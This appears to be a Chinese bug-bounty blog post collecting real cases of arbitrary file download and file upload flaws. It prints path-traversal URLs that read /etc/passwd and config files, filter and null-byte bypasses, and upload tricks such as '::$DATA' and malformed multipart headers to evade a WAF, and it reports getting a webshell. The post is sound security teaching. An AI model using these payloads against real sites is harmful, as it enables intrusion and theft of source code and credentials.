文章目录
前言
为了能在竞争激烈的 SRC 和漏洞平台里面薅到羊毛赚点外快,我在前面一篇文章 SRC众测挖洞之支付逻辑漏洞的奇淫技巧 讲述了支付业务逻辑漏洞的实战技巧,接下来将搜集、记录一些具体漏洞的实战案例,借此拓宽自己的挖洞思维、提升挖洞技巧。
【严正声明】本文所述的所有漏洞案例,厂商均已成功修复,同时对应的关键信息均已打码!网络安全十八双刃剑,请各位读者遵纪守法,共同维护良好健康的网络环境!
任意文件下载
任意文件下载漏洞,基础的漏洞知识了解可以先看下我的另一篇博文:Web安全-任意文件下载漏洞,它基本上就是高危漏洞了……运气好几K的奖金就能到手了。
案例1 某OA系统任意文件下载
1、某 OA 系统正常下载图片的 URL 如下:
http://**.**.**.**/general/picture/batch_down.php?TmpFileNameStr=DSCN0292.jpg|@~@&SUB_DIR=&PIC_PATH=d:/myoa/%D4%B1%B9%A4%BB%EE%B6%AF
页面如下:
正常下载图片:
2、修改路径,下载 index.php
文件,Payload 如下:
http://**.**.**.**/general/picture/batch_down.php?TmpFileNameStr=index.php|@~@&SUB_DIR=&PIC_PATH=d:/myoa/webroot
成功下载文件:
打开文件查看源码:
案例2 某登录页面任意文件下载
1、某单位门户网站的登录页面地址:http://**.**.**.**/Page/Login/UserLogin.aspx
,如下图:
2、里面有个需求商须知,根据经验猜到会有任意文件下载,就试了下,成功下载web.config
配置文件:
案例3 某金融网站任意文件下载
1、访问某金融网站:
2、存在问题的功能点与测试的 Payload:
https://XXX.com.cn/webappservice/TP050102.do?FileName=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
可成功下载../../../../../../../../etc/passwd
文件:
案例4 服务端过滤 …/ 绕过下载
1、某保险公司存在问题的功能点:
下载的 URL 链接如下:
2、构造 Payload:
http://www.XXX.com/product/benefitshow/suggest/downloadToHTML.jsp?Path=/..\downloadToHTML.jsp&titleDoc=1
可成功下载downloadToHTML.jsp
文件,发现服务端过滤了../
:
3、仅当路径中出现../
的时候提示访问地址非法,所以可以用\
来绕过,继续构造 Payload:
http://www.XXXX.com/product/benefitshow/suggest/downloadToHTML.jsp?Path=/..\/WEB-INF\/web.xml&titleDoc=1
可成功下载web.xml
文件:
案例5 %00截断后下载任意文件
1、游览某站点时一个不起眼的图标的链接引起了我的注意:http://XXXX.com/static/img.php?s=15,15&n=icon-info.png
,如下图:
2、左后一个参数是一个文件,会不会存在任意文件下载呢?依次访问一下如下链接,均返回正常图片:
http://tiyan.baidu.com/static/img.php?s=15,15&n=/icon-info.png
http://tiyan.baidu.com/static/img.php?s=15,15&n=./icon-info.png
http://tiyan.baidu.com/static/img.php?s=15,15&n=../icon-info.png
如下图所示:
3、当访问http://tiyan.baidu.com/static/img.php?s=15,15&n=....//icon-info.png
链接的时候,图片却不正常显示了:
4、这里说明很有可能是将../
给替换了,....//
替换../
还是会返回上级目录,所以文件不存在。尝试访问 index.php 文件,构造如下 Payload(注意加上截断):
http://tiyan.baidu.com/static/img.php?s=16,40&n=....//....//index.php%00.png
成功下载并读取源码文件:
文件上传漏洞
文件上传漏洞,可拿 Shell,更为致命……基础知识和防护绕过手段可阅读我的另一博文进行了解:Web安全-文件上传漏洞与WAF绕过,下面讲述几个典型的 SRC 实战案例。
案例1 公众号个人头像上传漏洞
1、某房地产商的微信公众号:
2、访问个人中心上传头像:
3、存在任意文件上传:
案例2 编辑器上传文件类型绕过
1、在测试一个站的时候发现 ewebeditor 编辑器一枚:
2、发现有 WAF,文件扩展名 asp、aspx
之类的都会被拦截:
3、构造异常数据包(只是多加了一个1),可绕过 WAF 并成功上传 asp 文件:
案例3 上传文件后缀重命名绕过
1、构造某航司的系统的本地文件上传测试页面:
<form action="http://pss.XXXX.com/enableq/Android/FileUpload.php?optionID=1" method="post" enctype="multipart/form-data" name="form1" id="form1">
<input type="hidden" name ="uploadFileName" value="uploadedfile_1" />
<input type="file" name="uploadedfile_1" id="fileField" />
<input type="submit" name="button" id="button" value="submit" />
</form>
如下图所示:
2、直接上传 php 不行,试了一下如下 Payload:
Test.php:a.jpg //被重命名为jpg
test.php. //可以上传但是被重命名为jpg
test.php::$DATA //成功上传php后缀文件
如下图所示:
3、获得 Shell:
案例4 %00截断绕过白名单限制
1、某献血站的站点,http://**.**.**.**:9091/upload_file.asp?keyno=0&pic=0&tablename=visainfo
,存在一个上传点:
2、测试了一下只允许上传 txt 类型的文件,因为服务器用的 iis6.0 中间件,直接采用了 00 截断上传(也可以利用中间件的解析漏洞):
3、菜刀传过去始终连不上,因此选择了传的小马先:
案例5 绕过安全狗进行文件上传
1、还是看看数据流先:
network->iis->safedog->asp.dll
2、文件上传流是靠用户自己解析的,所以如果安全狗和asp.dll
等扩展解析不一致就可以绕过了,如下肯定被拦截:
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename="a.asp"
Content-Type: text/html
3、改为下面 Payload 就不会被拦截了:
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename=a.asp
Content-Type: text/html
总结
任意文件下载漏洞、任意文件上传漏洞都是危害比较致命的漏洞,在渗透测试和漏洞挖掘过程中要胆大心细,不放过任何疑似的功能点,大胆构造绕过限制的畸形 Payload,往往能斩获意想不到的惊喜!